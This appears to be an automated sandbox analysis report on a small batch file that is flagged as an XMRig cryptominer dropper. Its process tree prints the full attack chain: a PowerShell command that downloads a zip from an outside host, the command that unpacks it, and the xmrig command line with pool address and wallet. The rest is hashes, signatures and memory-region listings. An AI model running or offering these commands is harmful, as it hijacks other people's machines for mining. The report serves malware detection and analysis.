Analysis

  • max time kernel
    1796s
  • max time network
    1787s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2023, 02:36

General

  • Target

    tesy - Copy (14).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3296
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:64
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4932
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1720
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4944

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          49e7d5f2a296b59afec08bc314bed998

          SHA1

          7f898bf195ffd46ce2d19fad0ce33155f6e47f5f

          SHA256

          394832dfefa5e2e6204b60708a2ca33bb9d2f529664419bc050975f4b80faefe

          SHA512

          f64579fdac0bfebad4c20ad575b8ea45136e295fba950da4cbf84402228a3897b2e2deb4eb4605deb5df93321b1dc15c8a878da36016d7e5e060182142fdf839

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          dea2d3fd66551ec95e5f7eeba057b20e

          SHA1

          ae8100a5520e289a265ad7c5c1be9c7506e91ece

          SHA256

          7fc62d39b61bc5c160c6351dfd9ce1836e90b8f9ecbb14540c325f4f21b8997f

          SHA512

          b6c082e570a0d1704de9b6d3a1c0d6809030e34f6e28e34f433aaa31e4cd43a1050ae1159c7b0f5cbbeea9d2828380b589a0f5f33d9f238f8f4d19000488b375

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xkybutnq.oui.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\test1.zip

          Filesize

          3.2MB

          MD5

          95452958f42b1b93f0c887f59d84d19f

          SHA1

          c861dc457d57471ab42879f49cc8fe171e7c9b1c

          SHA256

          dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

          SHA512

          96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

          Filesize

          278B

          MD5

          080123b6eac4a332d3f2b11f6eb3aa54

          SHA1

          8f3d40eae881e3b871cff2aa85521d727ada2a64

          SHA256

          cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

          SHA512

          0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

        • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

          Filesize

          7.9MB

          MD5

          4813fa6d610e180b097eae0ce636d2aa

          SHA1

          1e9cd17ea32af1337dd9a664431c809dd8a64d76

          SHA256

          9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

          SHA512

          5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

        • memory/64-9-0x000002C7E1B50000-0x000002C7E1B72000-memory.dmp

          Filesize

          136KB

        • memory/64-10-0x00007FFFB65C0000-0x00007FFFB7081000-memory.dmp

          Filesize

          10.8MB

        • memory/64-11-0x000002C7DF930000-0x000002C7DF940000-memory.dmp

          Filesize

          64KB

        • memory/64-15-0x00007FFFB65C0000-0x00007FFFB7081000-memory.dmp

          Filesize

          10.8MB

        • memory/4932-17-0x00007FFFB65C0000-0x00007FFFB7081000-memory.dmp

          Filesize

          10.8MB

        • memory/4932-18-0x000001ABC8C80000-0x000001ABC8C90000-memory.dmp

          Filesize

          64KB

        • memory/4932-19-0x000001ABC8C80000-0x000001ABC8C90000-memory.dmp

          Filesize

          64KB

        • memory/4932-30-0x000001ABC8C80000-0x000001ABC8C90000-memory.dmp

          Filesize

          64KB

        • memory/4932-31-0x000001ABCAF10000-0x000001ABCAF22000-memory.dmp

          Filesize

          72KB

        • memory/4932-32-0x000001ABCAE80000-0x000001ABCAE8A000-memory.dmp

          Filesize

          40KB

        • memory/4932-41-0x00007FFFB65C0000-0x00007FFFB7081000-memory.dmp

          Filesize

          10.8MB

        • memory/4944-70-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-80-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-47-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-48-0x000001B1F4250000-0x000001B1F4270000-memory.dmp

          Filesize

          128KB

        • memory/4944-49-0x000001B1F4270000-0x000001B1F4290000-memory.dmp

          Filesize

          128KB

        • memory/4944-50-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-51-0x000001B1F4250000-0x000001B1F4270000-memory.dmp

          Filesize

          128KB

        • memory/4944-52-0x000001B1F4270000-0x000001B1F4290000-memory.dmp

          Filesize

          128KB

        • memory/4944-53-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-54-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-55-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-56-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-57-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-58-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-59-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-60-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-61-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-62-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-63-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-64-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-65-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-66-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-67-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-68-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-69-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-45-0x000001B1F2920000-0x000001B1F2940000-memory.dmp

          Filesize

          128KB

        • memory/4944-71-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-72-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-73-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-74-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-75-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-76-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-77-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-78-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-79-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-46-0x000001B1F2960000-0x000001B1F29A0000-memory.dmp

          Filesize

          256KB

        • memory/4944-81-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-82-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-83-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-84-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-85-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-86-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-87-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-88-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-89-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-90-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-91-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-92-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-93-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-94-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-95-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-96-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-97-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-98-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-99-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-100-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-101-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-102-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-103-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-104-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-105-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-106-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-107-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-108-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-109-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-110-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-111-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-112-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB

        • memory/4944-113-0x00007FF6D6340000-0x00007FF6D6E43000-memory.dmp

          Filesize

          11.0MB